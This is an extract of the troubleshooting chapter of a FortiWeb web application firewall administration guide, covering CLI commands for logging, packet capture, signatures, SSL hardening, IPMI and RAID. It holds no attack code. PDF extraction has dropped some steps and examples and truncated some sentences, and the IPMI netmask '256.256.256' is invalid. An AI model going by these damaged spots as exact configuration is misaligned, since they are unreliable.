1. To enable the file uploading and downloading functionality, use the CLI to enter the following commands:
set enable-file-upload enable
end
2. In the web UI, go to System > Maintenance > Backup & Restore, and select the Local Backup tab.
At the bottom of the page, under GUI File Download/Upload, click Choose File to navigate to a file and select
it, and then click Upload to copy it to FortiWeb.
When the upload is complete, the file is displayed in the File Name list.
3. To maintain security, use the following CLI commands to disable the file uploading functionality:
set enable-file-upload disable
end

Troubleshooting 814
To download a file
1. To enable the file uploading and downloading functionality, use the CLI to enter the following commands:
set enable-file-upload enable
end
2. In the web UI, go to System > Maintenance > Backup & Restore, and select the Local Backup tab.
3. At the bottom of the page, under GUI File Download/Upload, click the download icon for the file you want to
download.
4. To maintain security, use the following CLI commands to disable the file uploading functionality:
set enable-file-upload disable
end
Why did the FortiGuard service update fail?
If your automatic FortiGuard service update is not successful, complete the following troubleshooting steps:
1. Ensure that your firewall rules allow FortiWeb to access the Internet via TCP port 443.
This is the port that FortiWeb uses to poll for and download FortiGuard service updates from the FortiGuard
Distribution Network (FDN).
2. Ensure FortiWeb can communicate with the DNS server.
When it performs the initial FortiGuard service update, FortiWeb requires access to the DNS server to resolve the
domain name fds.fortinet.com to the appropriate host name.
3. Because the size of the virus signature database exceeds 200MB, an unstable network can interrupt the TCP
session that downloads the database. If the download fails for this reason, obtain the latest version of the virus
signature database from support.fortinet.com and perform the update manually. For details, see
FortiWeb resumes automatic updates of the database at the next scheduled time.
4. If the previous steps do not solve the problem, use the following commands to obtain additional information:
diagnose debug application fds 7
If you need to contact Fortinet Technical Support for assistance, provide the output of these diagnose debug
commands and a configuration file.
For more information about these commands, see the FortiWeb CLI Reference:
For additional methods for verifying FortiGuard connectivity, see Connecting to FortiGuard services on page 469.
Why is URL rewriting not working?
If FortiWeb is not rewriting URLs as expected, complete the following troubleshooting steps:
1. Ensure the value of Action Type is correct.
Request Action rewrites HTTP requests from clients, and Response Action rewrites responses to clients from
the web server.
2. Ensure that you have added items to the URL Rewriting Condition Table.

Troubleshooting 815
3. If one of your conditions uses a regular expression, ensure that the expression is valid. Click the >> (double arrow)
button beside the Regular Expression field to test the value.
For an online guide for regular expressions, go to:
http://www.regular-expressions.info/reference.html
For an online library of regular expressions, go to:
http://regexlib.com
4. Go to System > Config > Advanced and adjust the value of Maximum Body Cache Size on page 679.
URL body rewriting does not work when the page is larger than the cache buffer size. The default size is 64KB.
To adjust the buffer using the CLI, use a command like the following example:
config global
config sys advanced
set max-cache-size 1024
end
end
5. Ensure that FortiWeb supports the page’s Content-Type, which specifies its MIME type. FortiWeb supports the
following Content-Type values only:
l text/html
l text/plain
l text/javascript
l application/xml
l text/xml
l application/javascript
l application/soap+xml
l application/x-javascript
l application/json
l application/rss+xml
How do I create a custom signature that erases response packet content?
1. Create a custom signature rule that includes the following values:
Direction Response
Expression Either a simple string or a regular expression that matches the response to
erase.
Action Alert & Erase

The erase action replaces the content specified by Expression with xxx.
2. Add an appropriate target:

l RESPONSE_BODY
l RESPONSE_HEADER
l RESPONSE_STATUS
The RESPONSE_STATUS is not erased in the raw packet.
If the target is RESPONSE_HEADER or RESPONSE_STATUS, the body of the response is still displayed.

Troubleshooting 816
3. Add the rule to a custom signature group, and then add the group to a signature policy that you can add to an inline
or Offline Protection profile.
For detailed custom signature creation instructions, see Defining custom data leak & attack signatures on page 499.
How do I reduce false positives and false negatives?
If FortiWeb is identifying legitimate requests as attacks (false positives), complete the following troubleshooting steps:
1. If your web protection profile uses a signature policy in which the extended version of a signature set is enabled (for
example, Cross Site Scripting on page 464), disable it.
The extended signature sets detect a wider range of attacks but are also more likely to generate false positives.
For details, see Blocking known attacks & data leaks on page 461.
2. Specify the appropriate URL as an exception in the signature configuration. To create this exception, click either
the Exception link in the Message field of the attack log item or Advanced Mode in the Edit Signature Policy
dialog box.
For details, see Configuring action overrides or exceptions to data leak & attack detection signatures on page 493.
3. If the configuration changes do not solve the problem, capture the packet that FortiWeb has incorrectly identified
as an attack and contact Fortinet Technical Support for assistance.
Fortinet can resolve the issue by modifying the attack signature.
If FortiWeb is identifying attacks as legitimate requests (false negatives), complete the following troubleshooting steps:
1. Use the Advanced Mode option to ensure that the signature policy that your web protection profile uses has the
following configuration:
l All the appropriate signatures are enabled.
l The enabled signatures do not have exceptions that permit the attack packets.
2. If your signature configuration is correct, capture the packet that FortiWeb did not identify as an attack and contact
Fortinet Technical Support for assistance.
Fortinet can resolve the issue by adding an attack signature. In the meantime, you can resolve the problem by
creating a custom signature. For details, see Defining custom data leak & attack signatures on page 499.
For additional information about reducing false positives, see Reducing false positives on page 802.
Why is FortiWeb not forwarding non-HTTP traffic (for example, RDP, FTP) to
back-end servers even though set ip-forward is enabled?
The config router setting command allows you to change how FortiWeb handles non-HTTP/HTTPS traffic when it is
operating in Reverse Proxy mode.
When the setting ip-forward is enabled, for any non-HTTP/HTTPS traffic with a destination other than a FortiWeb
virtual server (for example, a back-end server), FortiWeb acts as a router and forwards it based in its destination
address.
However, any non-HTTP/HTTPS traffic destined for a virtual server on the appliance is dropped.
Therefore, if you require clients need to reach a back-end server using FTP or another non-HTTP/HTTPS protocol,
ensure the client uses the back-end server's IP address.
For more detailed information about this setting and a configuration that avoids this problem, see the “Router setting”
topic in the FortiWeb CLI Reference:

Troubleshooting 817
How do I prevent cross-site request forgery (CSRF or XSRF) with a custom rule?
A cross-site request forgery attack takes advantage of the trust that a site has in a client’s browser to execute unwanted
actions on a web application.
To add an advanced access control rule that detects cross-site request forgery (CSRF)
1. Go to Web Protection > Advanced Protection > Custom Policy, and select the Custom Rule tab.

3. Configure the action and trigger settings for the rule.
For detailed information on these settings, see Combination access control & rate limiting on page 437.
4. Click Create New to add a rule entry.
5. For Filter Type, select HTTP Header, and then click OK.
Header Name Referer

Header Value Type Regular Expression
Header Value A regular expression that matches the address of your website.
For example, if your website is http://211.24.155.103/, use the following
expression:
^http://211\.24\.155\.103.*
7. Click OK to save the rule entry, and then click OK to save the rule.
8. Go to Web Protection > Advanced Protection > Custom Policy, and select the Custom Policy tab to group
the custom rule into a policy.
For details about creating policies, see Combination access control & rate limiting on page 437.
9. To apply the policy, select it as the Custom Policy on page 225 in a protection profile. For details, see Configuring a
Attack log messages contain Custom Access Violation when this feature detects an unauthorized access
attempt.
Why does my Advanced Protection rule that has both Signature Violation and
HTTP Response Code filters not detect any violations?
When you use Web Protection > Advanced Protection > Custom Policy > the Custom Rule tab to create a
custom rule, FortiWeb links items in the list of filters with an AND operator. It uses the rule to evaluate both requests
and responses. When the rule has both a Signature Violation and a HTTP Response Code filter, a malicious request
violates the signature filter and the corresponding response matches the response code filter. But neither the request
nor the response can violate both filters at the same time to generate a match.
To solve this problem, create a separate custom rule for each type of filter. For details, see Combination access control
& rate limiting on page 437.

Troubleshooting 818
What's the difference between the Packet Interval Timeout and Transaction
Timeout filters in an Advanced Protection rule?
Both Packet Interval Timeout and Transaction Timeout protect against DoS attacks. In most cases, the attacks are
some form of slow HTTP attack.
Packet Interval Timeout evaluates the time period between packets that arrive from either the client or server (request
or response packets). If the time exceeds the maximum the timeout specifies, FortiWeb takes the action specified in the
rule.
However, other types of slow attacks can keep the server occupied and still maintain a minimal data flow. For example,
if an attack sends a byte of data per second, it can continue a GET request indefinitely but stay within the Packet
Interval Timeout.
The Transaction Timeout evaluates the time period for a transaction—a GET or POST request and its complete reply.
In most cases, a transaction lasts no longer than a few milliseconds or, for slower applications, a few seconds.
To detect the widest range of attacks, specify both Packet Interval Timeout and Transaction Timeout filters when you
create an Advanced Protection rule.
For details, see Combination access control & rate limiting on page 437.
What ID numbers do I use to specify a Signature Violation filter when I use the
CLI to create a custom access rule?
The waf custom-access rule command allows you to configure custom access rules, which can include
Signature Violation filters. When you configure the signature-class option, use one of the following IDs to specify
the category of signature to match:
Cross Site Scripting 01000000
Cross Site Scripting (Extended) 02000000
SQL Injection 03000000
SQL Injection (Extended) 04000000
Generic Attacks 05000000
Generic Attacks (Extended) 06000000
Known Exploits 09000000
For example, the following command creates a custom rule that detects SQL injection attacks, such as blind SQL
injection:
config waf custom-access rule
edit "sql-inject"
set action block-period
set severity High
set trigger "notification-servers1"
config signature-class
edit 03000000
set status enable
next
end

Troubleshooting 819
next
end
config waf custom-access policy
edit "sql-inject-policy"
config rule
edit 1
set rule-name "sql-inject"
next
end
next
end
For more information on the waf custom-access rule command, see the FortiWeb CLI Reference:
Why is the Signature Violation filter I added to my Advanced Protection custom

rule not working?
To add a Signature Violation filter to an Advanced Protection custom rule, you select Signature Violation as the filter
type.
However, for the filter to work, the following configuration steps are also required:
l In the Edit Custom Rule dialog box, select at least one signature category. By default, no categories are selected.
When you select a category, FortiWeb prompts you to enable all or some of the signatures in the category.
l Ensure that the signatures that correspond to the categories you selected in the rule are enabled in the signature
policy (Web Protection > Known Attacks > Signatures).
You select the custom policy that contains the rule and corresponding signature set when you create a protection profile.
For details, see Combination access control & rate limiting on page 437 and Blocking known attacks & data leaks on
page 461.
Why don't my back-end servers receive the virtual server IP address as the
source IP?
When the operation mode is Reverse Proxy, the server pool members receive the IP address of the FortiWeb interface
the connection uses. If the back-end servers need to know the IP address of the client where the request originated,
configure a X-Forwarded-For rule for the appropriate profile. For details, see Defining your proxies, clients, & X-headers
on page 193.
Why do I not see HTTP traffic in the logs?
Successful HTTP traffic logging depends on both FortiWeb configuration and the configuration of other network
devices. If you do not see HTTP traffic in the traffic log, ensure that the configuration described in the following tables is
correct.

Troubleshooting 820
Reverse Proxy mode
Configuration What to look for See
Logging Ensure logging is enabled and configured. Configuring logging on

By default, logging is not enabled. page 700
Servers Ensure that the IP address of your physical server and the Defining your web servers
IP address of your virtual server are correct. on page 163
Configuring virtual servers

on your FortiWeb on page
199
Server policy Ensure that the server policy associates the appropriate Configuring an
virtual server with the correct physical servers (as HTTP server policy on
members of a server pool). page 242
Network interfaces Go to System > Network > Interface and ensure the Configuring the network
ports for inbound and outbound traffic are up. interfaces on page 126
Use sniffing (packet capture) to ensure that you can see How can I sniff FortiWeb
traffic on both inbound and outbound network interfaces. packets (packet capture)?
Ensure that the network interfaces are configured with on page 824 (overview) or
the correct IP addresses. In a typical configuration, port1 Packet capture on page
is configured for management (web UI access) and the 831
remaining ports associated with the required subnets.
VLANs (if used) Make sure that the VLAN is associated with the correct Adding VLAN subinterfaces
physical port (Interface setting). on page 129
Firewalls & routers Communications between the FortiWeb appliance, Appendix A: Port numbers
clients, protected web servers, and FortiGuard on page 862
Distribution Network (FDN) require that any routers and
firewalls between them permit specific protocols and port
numbers.
Load balancers If the load balancer is in front of FortiWeb, the physical IP External load balancers:
addresses on it are the FortiWeb virtual IP addresses. If before or after? on page 67
the Load Balancer is behind the FortiWeb, the FortiWeb
physical server is the virtual IP for the load balancer's
virtual IP.
Web server Ensure that the web server is up and running by testing it Checking routing on page
without FortiWeb on the network. 840
Transparent modes


Troubleshooting 821
Server/server pool Ensure that the configuration for the physical server in Defining your web servers
the server pool contains the correct IP address. on page 163
Creating a server pool on
page 169
virtual server with the correct physical servers (as a HTTP server policy on
member of a server pool). page 242
Bridge (v-zone) Ensure the v-zone is configured using the correct Configuring a bridge (V-
FortiWeb ports. zone) on page 133
In the list of network interfaces (Global > System >
Network > Interface), the Status column identifies
interfaces that are members of a v-zone.
To ensure that the bridge is forwarding traffic, in the list
of v-zones, under Interface, look for the status
“forwarding” following the names of the ports.
Firewalls & routers Communications between the FortiWeb appliance, Appendix A: Port numbers
clients, protected web servers, and FortiGuard on page 862
Distribution Network (FDN) require that any routers and
firewalls between them permit specific protocols and port
numbers.
Offline mode

Server/server pool Ensure that the configuration for the physical server in Defining your web servers
the server pool contains the correct IP address. on page 163
Creating a server pool on
page 169
virtual server with the correct physical servers (as HTTP server policy on
members of a server pool). page 242
Bridge (v-zone) Ensure the v-zone is configured using the correct Configuring a bridge (V-
FortiWeb ports. zone) on page 133

Troubleshooting 822
In the list of network interfaces (Global > System >

Network > Interface), the Status column identifies
interfaces that are members of a v-zone.
To ensure that the bridge is forwarding traffic, in the list
of v-zones, under Interface, look for the status
“forwarding” following the names of the ports.
Network interfaces Use sniffing (packet capture) to ensure that you can see Configuring the network
traffic on both inbound and outbound network interfaces. interfaces on page 126
How can I sniff FortiWeb
packets (packet capture)?
on page 824 (overview) or
Packet capture on page
831
Why do I see HTTP traffic in the logs but not HTTPS traffic?
Use the following steps to troubleshoot HTTPS traffic logging:

1. Ensure FortiWeb has the certificates it needs to offload or inspect HTTPS.
For details, see How to offload or inspect HTTPS on page 396.
2. Use sniffing (packet capture) to look for errors in HTTPS traffic.
For details, see How can I sniff FortiWeb packets (packet capture)? on page 824 (overview) or Packet capture on
page 831.
How do I store traffic log messages on the appliance hard disk?
You can configure FortiWeb to store traffic log messages on its hard disk.
In most environments, and especially environments with high traffic volume, enabling this option for long periods of
time can cause the hard disk to fail prematurely. Do not enable it unless it is necessary and disable it as soon as you no
longer need it.
For information on configuring logging to the hard disk using the web UI, see Configuring logging on page 700.
To enable logging to the hard disk via the CLI, log in using an account with either w or rw permission to the loggrp
area and enter the following commands:
config log traffic-log
set disk-log enable
Use the following commands to verify the new configuration:

Troubleshooting 823
get log traffic-log
A response that is similar to the following message is displayed:

status : enable
packet-log : enable
disk-log : enable
Alternatively, use the following command to display a sampling of traffic log messages:
diagnose log tlog show
A response that is similar to the following message is displayed:

Total time span is 39.252285 seconds
Time spent on waiting is 13.454448 seconds
Time spent on preprocessing is 3.563218 seconds
traffic log processed: 69664
where:
l Total time span is the total amount of time of the logd process handle logs (that is, receiving messages from
other process, filtering messages, outputting in standard format, writing the logs to the local database, and so on)
l Time spent on waiting is the amount of time of the logd process waited to receive messages from other
processes
l Time spent on preprocessing is the amount of time the logd process spent filtering and format i ng
messages
l traffic log processed is the total number of logs that the logd process handled in this cycle
For more information about the config log traffic-log and diagnose log tlog show commands,
see the FortiWeb CLI Reference:
Why is the most recent log message not displayed in the Aggregated Attack log?
If recent log messages do not appear in the Aggregated Attack log as expected, complete the following troubleshooting
steps:
1. Use the dashboard to see if the appliance is busy.
When FortiWeb generates an attack log, the appliance writes it to and reads it from the hard disk and then updates
the logging database.
The process that retrieves Aggregated Attack log information from the database (indexd) has a lower priority than
the processes that analyze and direct traffic. Therefore, increased demand for FortiWeb processing resources (for
example, when traffic levels increase) can delay updates to the log.
2. Rebuild the logging database.
Events such as a power outage can corrupt the logging database. Use the following command to rebuild it:
exec db rebuild
This command deletes and rebuilds the database. It does not delete any logs on the hard disk and no log
information is lost.

Troubleshooting 824
How can I sniff FortiWeb packets (packet capture)?
Use the diagnose network sniffer command to perform a packet trace on one or more interfaces.
For example, the following command captures TCP port 80 traffic arriving at or departing from 192.168.1.1, for all
network interfaces. The value 3 specifies the verbosity level (3captures the most detail):
diagnose network sniffer any 'tcp and port 80 and host 192.168.1.1' 3
For instructions on using this command and its output, see Packet capture on page 831.
The following steps are an overview of the process:
1. Use a terminal emulator such as SecureCRT or Putty, connect to the appliance via SSH or Telnet, run the sniffer
command, and save the output to a file (for example, detail_output.log).
A terminal emulator is required because the console is too slow for this task and cannot display all of the output.
2. Install a Perl interpreter and Wireshark (or equivalent application) on your PC.
3. To convert the packet capture command to a format that Wireshark can use, run the following command:
perl ./fgt2eth.pl -in detail_ouput.log -out converted.cap
(You can run the Perl script in Windows or Linux.)

To download fgt2eth.pl, see the Fortinet Knowledge Base article Using the FortiOS built-in packet sniffer
(http://kb.fortinet.com/kb/documentLink.do?externalId=11186).
The fgt2eth.pl script is provided as-is, without any implied warranty or

technical support.
How do I trace packet flow in FortiWeb?
Use the following steps to use the console to view packet flow information for a specified client IP when it accesses a
virtual server IP:
1. Using the CLI, use the following command to turn on debug log output:
2. Use a command similar to the following to limit the debug logs to those that match a specific client IP address:
diagnose debug flow filter client-ip 172.22.6.232
3. Use the following command to include details from each module that processes the packet:
diagnose debug flow filter module-detail status on
4. Use the following command to start the flow trace:

diagnose debug flow trace start
The following output is an example of the results of these commands:

Module name:WAF_X_FORWARD_FOR_PROCESS, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_IP_INTELLIGENCE, Execution:3, Process error:6, Action:ACCEPT
Module name:WAF_KNOWN_ENGINES, Execution:4, Process error:0, Action:ACCEPT
Module name:HSTS_HEADER_PROCESS, Execution:4, Process error:5, Action:ACCEPT
Module name:WAF_HTTP_ACTIVE_SCRIPT, Execution:3, Process error:2, Action:ACCEPT

Troubleshooting 825
Module name:WAF_CLIENT_MANAGEMENT, Execution:4, Process error:0, Action:ACCEPT

Module name:WAF_HTTP_DOS_HTTP_FLOOD, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_HTTP_DOS_MALICIOUS_IP, Execution:4, Process error:8, Action:ACCEPT
Module name:HTTP_ACCLIMIT_LIMIT, Execution:4, Process error:-1, Action:ACCEPT
Module name:WAF_GLOBAL_WHITE_LIST, Execution:4, Process error:-1, Action:ACCEPT
Module name:WAF_GLOBAL_WHITE_LIST, Execution:4, Process error:-1, Action:ACCEPT
Module name:WAF_URL_ACCESS_POLICY, Execution:4, Process error:8, Action:ACCEPT
Module name:HTTP_CONSTRAINTS, Execution:4, Process error:2, Action:ACCEPT
Module name:WAF_COOKIE_POISON, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_CUSTOM_ACCESS_POLICY, Execution:4, Process error:6, Action:ACCEPT
Module name:WAF_HTTP_STATISTIC, Execution:4, Process error:0, Action:ACCEPT
For additional information on these commands (for example, to specify debug logs for a specific flow direction), see
the FortiWeb CLI Reference:
Why is the number of cookies reported in my attack log message different from
the number of cookies that message detail displays?
When FortiWeb generates an attack log message because a request exceeds the maximum number of cookies it
permits, the message value includes the number of cookies found in the request. In addition, the message details
include the actual cookie values.
For performance reasons, FortiWeb limits the size of the attack log message. If the amount of cookie value information
exceeds the limit for cookies in the attack log, the appliance displays only some of the cookies the message detail.
Why does the attack log message display the virtual server IP address as the
destination IP instead of the IP address of the back-end server that was the
target of the attack?
In some cases, FortiWeb blocks attacks before the packet is routed to a server pool member. When this happens, the
destination IP is the virtual server IP.
How do I detect which cipher suite is used for HTTPS connections?
Use sniffing (packet capture) to capture SSL/ TLS traffic and view the “Server hello” message, which includes cipher
suite information.
For more HTTPS troubleshooting information, see Supported cipher suites & protocol versions on page 388 and
Checking the SSL/TLS handshake & encryption on page 849.
How can I strengthen my SSL configuration?
The following configuration changes can make SSL more effective in preventing attacks and can improve your website's
score for third-party testing tools (for example, the SSL server test provided by Qualys SSL Labs).

Troubleshooting 826
Which configuration changes you make depends on your environment. For example, some older clients do not support
SHA256.
l For your website certificate, do the following:
l If it uses the SHA1 hashtag function, replace it with one that uses SHA256.
l Ensure that its key size is 2048-bit.
l For the server policy (Reverse Proxy mode) or server pool member configuration (True Transparent Proxy mode),
specify the following values in the advanced SSL settings:
l Select Add HSTS Header, and then for Max. Age, enter 15552000.
l For SSL/TLS Encryption Level, select High.
l Select Disable Client-Initiated SSL Renegotiation.
For details, see Configuring an HTTP server policy on page 242.

l Use the following CLI command to set the Diffie-Hellman key exchange parameters to 2048 or greater:

set dh-params 2048
The command is available in FortiWeb 5.3.6 and higher only. For additional information on using CLI commands, see
the FortiWeb CLI Reference:
Why can’t a browser connect securely to my back-end server?
If a browser cannot communicate with a back-end server using SSL or TLS, use the following troubleshooting steps to
resolve the problem:
1. Without connecting via FortiWeb, ensure that you can access the server using HTTPS.
2. Ensure that your browser supports HTTP Strict Transport Security (HSTS). For example, following web page
provides compatibility tables for various web browser versions:
http://caniuse.com/stricttransportsecurity
3. Ensure that the FortiWeb response includes the strict transport security header.
To add this header, select Add HSTS Header in the server policy or server pool configuration. For details, see
Configuring an HTTP server policy on page 242 or Creating a server pool on page 169.
4. Use the following cEnsure that the server certificate is trusted:
l If the certificate is signed by intermediate certificate authority (CA), the intermediate CA is signed by a root
CA.
l The root CA is listed in your browser’s store of trusted certificates.
l The domain name or IP address is consistent with the certificate subject.
For details, see Uploading a server certificate on page 402.
How do I use performance tests to determine maximum performance?
Use these performance tests and the dashboard's System Resources widget to determine where the appliance
reaches its maximum capacity (bottleneck):

Troubleshooting 827
Requests per second (RPS), Rate of requests or connections maintains CPU Usage at 100%
connections per second
(CPS)
Concurrent connections Number of connections maintains Memory Usage at 90%
Throughput test Throughput maintains the value of CPU Usage at 100%. (A pair of gigabit ports
provide bandwidth of up to 2 Gbps.)
If your CPU and memory values do not reach the specified values, adjust your client and server test configuration until
you can determine maximum performance.
How can I measure the memory usage of individual processes?
The diagnose policy command allows you to view the memory usage associated with all server policies or a
specific policy. For example:
diagnose policy memory all
The diagnose hardware mem command allows you to display the usage statistics of ephemeral memory (RAM),
including swap pages and shared memory (Shmem). For example, to display total memory usage:
diagnose hardware mem list
For additional information on these commands, see the FortiWeb CLI Reference:

How can I use IPMI to shut down or power on FortiWeb remotely?
FortiWeb models 3000E and 4000E have an IPMI port that allows you to remotely manage the appliance. The
Intelligent Platform Management Interface (IPMI) works independently of the operating system. This feature is useful
for tasks such as powering the appliance on or off when you do not have physical access to it.
If the FortiWeb operating system is operating normally, use the regular shutdown procedure to power off the appliance.
For details, see How to use the web UI on page 55. The IPMI interface cannot shut down the appliance if FortiWeb is
running.
However, if the operating system has failed, you can use the IPMI interface to shut down the appliance remotely. In
addition, the IPMI interface allows you to power on an appliance remotely after it has shut down.
Because the following procedure enables remote access to the IPMI interface, it includes steps to change the default
password for the default user (admin) to prevent unauthorized access.
1. Use an Ethernet cable to connect the IPMI port of the FortiWeb to the management computer.
2. Configure the management computer to match the FortiWeb default IPMI subnet. For example:
IP address—192.168.1.2
Netmask—256.256.256
3. To access the IPMI web UI, in your browser, go to 192.168.1.1.
4. To log in, for both the username and password, enter admin.
5. In the menu bar, click Configuration > Users.

Troubleshooting 828
6. In the list of users, double-click the adminuser.

7. On the Modify User page, select Change Password, enter values for Password and Confirm Password, and
then click Modify.
8. In the menu bar, click Dashboard, and then, beside Network Information, click Edit.
9. Use the network information settings to specify a static IPv4 address and gateway that a remote management
computer can use to reach the appliance.
10. Use your browser to log in to the IPMI web UI using the new IP address.
11. In the menu bar, click Remote Control > Server Power Control, select the option you want. For example, if
FortiWeb is shut down, Power On Server, and then click Perform Action.
How do I reformat the boot device (flash drive) when I restore or upgrade the
firmware?
Follow the instructions provided in Restoring firmware (“clean install”) on page 859.
For If the firmware version requires that you first format the boot device before installing firmware, type F. Format the
boot disk before continuing. on page 860, type F to format the boot device (flash drive), and then enter Y to confirm your
selection.
After a few minutes, the reformatting process is complete. Continue with the instructions for retrieving the firmware
image from the TFTP server.
During the system boot, Fortinet highly recommends that you verify the disk integrity. To perform this task, when the
prompt Press [enter] key for disk integrity verification is displayed, press Enter.
After the firmware restore is complete, use the get system status CLI command to verify the system version.
For additional information on using the CLI, see the FortiWeb CLI Reference:
How do I set up RAID for a replacement hard disk?
The procedures applies to all models except 100D, 400B, 400C, and 400D.
1. Power off the FortiWeb.
2. Remove the hard disk from FortiWeb and install the new hard disk.
3. Power on the FortiWeb.
4. Use the following command to initialize RAID:
execute create-raid level raid1
5. Enter y to confirm the initialization.

FortiWeb reboots and starts the RAID initialization. The process can take a few hours to complete.
6. Use the following command to check the RAID status:
diagnose hardware raid list
If the process is successful, a message similar to the following is displayed:

level size(M) disk-number
raid1 1877665 0(OK),1(OK),2(Not Present),3(Not Present)
edited on: 2016-01-25 00:48

Troubleshooting 829
If FortiWeb is unable to write log messages to the disk, a message similar to the following is displayed:
level size(M) disk-number
raid1 1877665 0(Not Present),1(Not Present),2(Not Present),3(Not Present)
For additional information on using these CLI commands, see the FortiWeb CLI Reference:
Tools
To locate network errors and other issues that may prevent connections from passing to or through the FortiWeb
appliance, FortiWeb appliances feature several troubleshooting tools.
Troubleshooting methods and tips may use:
l The command line interface (CLI)
l The web UI
l External third-party tools
Some CLI commands provide troubleshooting information not available through the web UI; third-party tools on external
hosts can test connections from perspectives that cannot be achieved locally.
See also
l Ping & traceroute on page 829

l Log messages on page 830
l Diff on page 830
l Packet capture on page 831
Ping & traceroute
If your FortiWeb appliance cannot connect to other hosts, try using ICMP (ping and traceroute) to determine if the
host is reachable or to locate the node of your network at which connectivity fails, such as when static routes are
incorrectly configured. You can do this from the FortiWeb appliance using CLI commands.
For example, you might use ping to determine that 192.0.2.87 is reachable:
PING 192.0.2.87 (192.0.2.87): 56 data bytes
64 bytes from 192.0.2.87: icmp_seq=0 ttl=64 time=2.4 ms
--- 192.0.2.87 ping statistics ---

5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.8/1.4/2.4 ms
or that 192.168.1.10 is not reachable:

Troubleshooting 830

PING 192.0.2.55 (192.0.2.55): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...

If the host is not reachable, you can use traceroute to determine the router hop or host at which the connection fails:
execute traceroute 192.0.2.55
traceroute to 192.0.2.55 (192.0.2.55), 32 hops max, 72 byte packets
1 192.168.1.2 2 ms 0 ms 1 ms
2 * * *
For details about CLI commands, see the FortiWeb CLI Reference:
For details about troubleshooting connectivity, see Connectivity issues on page 839.
Both ping and traceroute require that network nodes respond to ICMP. If you
have disabled responses to ICMP on your network, hosts may appear to be
unreachable to ping and traceroute, even if connections using other protocols
can succeed.
Log messages
Log messages often contain clues that can aid you in determining the cause of a problem. FortiWeb appliances can
record log messages when errors occur that cause failures, upon significant changes, and upon processing events.
Depending on the type, log messages may appear in either the event, attack, or traffic logs. The FortiWeb appliance
must be enabled to record event, attack, and traffic log messages; otherwise, you cannot analyze the log messages for
events of that type. To enable logging of different types of events, go to Log&Report > Log Config >
Other Log Settings.
During troubleshooting, you may find it useful to reduce the logging severity threshold for more verbose logs, to include
more information on less severe events. To configure the severity threshold, go to Log&Report > Log Config >
Global Log Settings.
Diff
You can compare backups of the core configuration file with your current configuration. This can be useful if, for
example:
l A previously configured feature is no longer functioning, and you are not sure what in the configuration has
changed.
l You want to recreate something configured previously, but do not remember what the settings were.

Troubleshooting 831
Difference programs can help you to quickly find all changes.

There are many such difference-finding programs, such as WinMerge (http://sourceforge.net/projects/winmerge) and
the original diff (http://www.gnu.org/s/diffutils). They can compare your configurations, line by line, and highlight parts
that are new, modified, or deleted.
For instructions, see your difference program’s documentation.
See also

l Establishing a system baseline on page 837
l Determining the source of the problem on page 837
Packet capture
Packet capture, also known as sniffing or packet analysis, records some or all of the packets seen by a network interface
(that is, the network interface is used in promiscuous mode). By recording packets, you can trace connection states to
the exact point at which they fail, which may help you to diagnose some types of problems that are otherwise difficult to
detect.
FortiWeb appliances have a built-in sniffer. Packet capture on FortiWeb appliances is similar to that of FortiGate
appliances. You can perform the packet capture through CLI command or Web UI.
Packet capture via CLI command
To use the built-in sniffer, connect to the CLI and enter the following command:
diagnose network sniffer packet [{any | <interface_name>} [{none | '<filter_str>'} [{1 | 2 |
3} [<packets_int>]]]]
where:
l <interface_name> is either the name of a network interface, such as port1, or enter any for all interfaces.
l '<filter_str>' is the sniffer filter that specifies which protocols and port numbers that you do or do not want
to capture, such as 'tcp port 80', or enter none for no filters. Filters use tcpdump (http://www.tcpdump.org)
syntax.
l {1 | 2 | 3} is an integer indicating whether to display the network interface names, packet headers, and/or
payloads for each packet that the network interface sends, receives, or sees:
l 1—Display the packet capture timestamp, plus basic fields of the IP header: the source IP address, the destination
IP address, protocol name, and destination port number.
Does not display all fields of the IP header; it omits:

l IP version number bits
l Internet header length (ihl)
l Type of service/differentiated services code point (tos)
l Explicit congestion notification
l Total packet or fragment length
l Packet ID
l IP header checksum

Troubleshooting 832
l Time to live (TTL)

l IP flag
l Fragment offset
l Options bits
l For example:
l 2—All of the output from 1, plus the packet payload in both hexadecimal and ASCII. For example:
l 3—All of the output from 2, plus the link layer (Ethernet) header. e.g.:
l <packets_int> is the number of packets the sniffer reads before stopping. Packet capture output is printed to
your CLI display until you stop it by pressing Ctrl+C, or until it reaches the number of packets that you have
specified to capture.
Packet capture can be very resource intensive. To minimize the performance impact
on your FortiWeb appliance, use packet capture only during periods of minimal
traffic, with a local console CLI connection rather than a Telnet or SSH CLI
connection, and be sure to stop the command when you are finished.
For example, you might capture all TCP port 443 (typically HTTPS) traffic occurring through port1, regardless of its
source or destination IP address. The capture uses a high level of verbosity (indicated by 3).

Troubleshooting 833
A specific number of packets to capture is not specified. As a result, the packet capture continues until the administrator
presses Ctrl+C. The sniffer then confirms that five packets were seen by that network interface.
(Verbose output can be very long. As a result, output shown below is truncated after only one packet.)
FortiWeb# diagnose network sniffer packet port1 'tcp port 443' 3
interfaces=[port1]
filters=[tcp port 443]
10.651905 192.168.0.1.50242 -> 192.168.0.2.443: syn 761714898
0x0000 0009 0f09 0001 0009 0f89 2914 0800 4500 ..........)...E.
0x0010 003c 73d1 4000 4006 3bc6 d157 fede ac16 .<s.@.@.;..W....
0x0020 0ed8 c442 01bb 2d66 d8d2 0000 0000 a002 ...B..-f........
0x0030 16d0 4f72 0000 0204 05b4 0402 080a 03ab ..Or............
0x0040 86bb 0000 0000 0103 0303 ..........
Instead of reading packet capture output directly in your CLI display, you usually should save the output to a plain text
file using your CLI client. Saving the output provides several advantages. Packets can arrive more rapidly than you may
be able to read them in the buffer of your CLI display, and many protocols transfer data using encodings other than US-
ASCII. It is often, but not always, preferable to analyze the output by loading it into in a network protocol analyzer
application such as Wireshark (http://www.wireshark.org).
For example, you could use PuTTY or Microsoft HyperTerminal to save the sniffer output to a file. Methods may vary.
See the documentation for your CLI client.
Requirements
l Terminal emulation software such as PuTTY

l A plain text editor such as Notepad
l A Perl interpreter (http://www.perl.org/get.html)
l Network protocol analyzer software such as Wireshark (http://www.wireshark.org)
To view packet capture output using PuTTY and Wireshark
1. On your management computer, start PuTTY.

2. Use PuTTY to connect to the FortiWeb appliance using either a local console, SSH, or Telnet connection. For
3. Type the packet capture command, such as:
